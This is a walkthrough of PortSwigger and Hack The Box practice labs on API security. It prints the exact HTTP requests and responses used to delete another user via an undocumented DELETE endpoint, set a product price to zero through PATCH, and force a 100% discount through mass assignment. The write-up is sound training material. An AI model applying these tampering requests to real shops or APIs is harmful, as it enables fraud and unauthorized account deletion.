Introduction
Security professionals along with developers need to master API vulnerability detection methods because the web security domain is continuously developing. This article shows readers through practical labs which explore how attacks occur while demonstrating documentation-based API endpoint exploitation together with mass assignment vulnerability discovery methods. The presented details in these examples will show readers typical API security weaknesses and provide secure testing and endpoint protection methods.
Lab 1: Exploiting an API endpoint using documentation
Lab URL - https://portswigger.net/web-security/api-testing/lab-exploiting-api-endpoint-using-documentation
App exploration
First we open the lab, login to the web application with the credentials wiener:peter and then we get an section to update the email. We notice that once we enter the email and hit enter we see an PATCH method to an API endpoint to /api/user/wiener.
Let’s tinker with this request as it makes an request to an API endpoint.
If we send PATCH request to this API endpoint /api/user/carlos then we get the following error message from the server.
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 53
{"type":"ClientError","code":401,"error":"Forbidden"}
But if we use the GET request to fetch this API endpoint which is /api/user/carlos then we don’t see the error.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 57
{"username":"carlos","email":"carlos@carlos-montoya.net"}
Now let’s try sending GET request to just the /api/ endpoint, and we get to see the API documentation.
With the information we got from the document let’s delete the carlos user by using DELETE http method to /api/user/carlos.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 25
{"status":"User deleted"}
With this we solve our lab.
Lab 2 Finding and exploiting an unused API endpoint
Lab URL - https://portswigger.net/web-security/api-testing/lab-exploiting-unused-api-endpoint
App exploration:
So while viewing the shop, once we view the price and add the product to the cart we see an GET request made an API endpoint.
Now let’s tinker with this request, you can hit ctrl+ r to send this request to the repeater.
Exploitation
First let’s see if there are any other http methods that are accepted by this website. If we change the GET method to something else, we get an error message, but this error message contains an valuable information, this error message tells us which HTTP methods are accepted by this web application.
HTTP/2 405 Method Not Allowed
Allow: GET, PATCH
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
"Method Not Allowed"
Now if you have not logged in already, please do login. Else while performing the PATCH operation, we will get an error message saying unauthorized
HTTP/2 401 Unauthorized
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 14
"Unauthorized"
Once you have logged in with the credentials from the lab i,e wiener:peter perform the steps again and you would get see another error message while sending the request.
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 93
{"type":"ClientError","code":400,"error":"Only 'application/json' Content-Type is supported"}
Now that we got to know we need to add an content type, let’s change the request. Our request should look something like the below one.
PATCH /api/products/1/price HTTP/2
Host: 0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net
Cookie: session=X3Si5NDnXsL1ldOWwEMnTiyFBJQDlmhW
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Now we get an 500 internal error. That’s weird. But remember that for JSON we sent data in forms of parenthesis, so let’s add an empty pair of brackets and see if we get something.
PATCH /api/products/1/price HTTP/2
Host: 0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net
Cookie: session=X3Si5NDnXsL1ldOWwEMnTiyFBJQDlmhW
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/json; charset=utf-8
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6b0073046f1b2b83a1145c006500f9.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Content-Length: 4
{
}
Now we do get an interesting response, saying that we have to set the price parameter.
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 77
{"type":"ClientError","code":400,"error":"'price' parameter missing in body"}
Now you can set the price in the Json, but make sure it’s just an integer, if you try to use decimals, or put it inside a string then you would get the following error message.
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 98
{"type":"ClientError","code":400,"error":"'price' parameter must be a valid non-negative integer"}
But if you send the following json data to your http request you should get the following request.
{
"price":0
}
Now we get this following response from the server saying we were able to modify the price.
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17
{"price":"$0.00"}
Now if you add this product to cart, you should be able to solve the lab. I really liked this lab, because many of the labs like in bwapp just changing the parameters will change the price, that is not fun, but this was fun !
Lab 3: Exploiting a mass assignment vulnerability
Lab URL - https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability
This lab is very much similar to the previous labs. First let’s explore the application first.
App exploration
First we login to the applications with the credentials we are getting in this lab. We explore the shop, add leather jacket to our cart and proceed to checkout. During checkout we get to see two requests made by the web application, one is GET and another one is POST. Since both are making contact to an API let’s quickly send these requests to repeater so that we can tinker with these web requests later.
Now the GET and POST request have no information in the request, but in the server response that we get from GET request that got an interesting json data that looks something like this.
{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":0}]}
In nutshell and in simple words we have discovered ==hidden parameter== which is also known as ==mass assignment vulnerabilities==. According to portswigger, this is the definition for mass assignment vulnerabilities.
Mass assignment (also known as auto-binding) can inadvertently create hidden parameters. It occurs when software frameworks automatically bind request parameters to fields on an internal object. Mass assignment may therefore result in the application supporting parameters that were never intended to be processed by the developer.
Quickly we notice percentage and item_price in the response, and let’s see if we can tamper them. But since this is in response, make sure you add this json to request. Note that unlike previous lab we don’t need to modify the content type to json. Just adding in this data to our http request works here. If not we had to change the content type to json.
Now if we add this data to GET request we don’t see any responses, but if we tamper the percentage to 100, meaning we get an 100% discount, and send it to POST request then we solve the lab.
Our final request should look something like the following.
POST /api/checkout HTTP/2
Host: 0a88002f034c17d1847efe6900ae00c9.web-security-academy.net
Cookie: session=WiobavzXXAzK2ATl2S12bZWH6ibYrpBn
Content-Length: 150
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: https://0a88002f034c17d1847efe6900ae00c9.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a88002f034c17d1847efe6900ae00c9.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":0}]}
Once this request is sent to the server, then you should have solved the lab.
Lab 4: Flag Command
Lab URL - https://app.hackthebox.com/challenges/Flag%20Command/
First we fire our burp suite and we see what endpoints and request are made. By just opening the web application and poking with start option, we find an endpoint.
That looks a lot interesting, let’s hit ctrl+R and save this request for future testing. Now let’s test further. We start the game and we have four options. If we click on HEAD EAST the game stops. Seems like this web application was designed as a game.
We did try a lot with a lot of combinations of four directions, north and south first, then tried east, but when we tried to HEAD EAST as our first choice the games stops. And asks to restart. At this time we find an endpoing called /api/options. Now let’s have a look at these two endpoints.
Now when we send GET request to /api/options and if we pass in the HEAD EAST option as data, we loose the game with following error.
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.11.8
Date: Tue, 04 Mar 2025 17:32:29 GMT
Content-Type: application/json
Content-Length: 427
Connection: close
{
"message": "Eager to meet the sunrise, you head East. Unfortunately, the only thing you meet is a band of rogue garden gnomes. They don't take kindly to humans tromping through their turf. With a battle cry that sounded eerily like \"The gnome king says hello!\", they attack. Turns out, being pecked to death by pointy hats is not an honorable way to go. Your adventure ends here, less epic than envisioned. Game over!"
}
But remember /api/monitor endpoint? that has POST request? let’s try that out. Visiting the endpoint we do get our secret.
Now passing this secret as our option gives us the flag.
Alternate approach
You can reload the website, click on inspect and on network tab you can check for responses and network connections made by the website. This contains our secret.
With this we have solved our lab.
Conclusion
The post provides step-by-step lab exercises that outline key areas in API security which cover endpoint discovery techniques and the correct handling of HTTP methods along with an evaluation of mass assignment vulnerability threats. Every lab demonstrates the need for thorough API testing combined with proper secure API design techniques while showing that small mistakes might produce serious security consequences. The research findings establish a useful lesson about how essential complete security safeguards together with extensive testing remain fundamental in our present digital world. The techniques presented enable readers to understand API security intricacies while emphasising security measures needed for continuous web application protection.
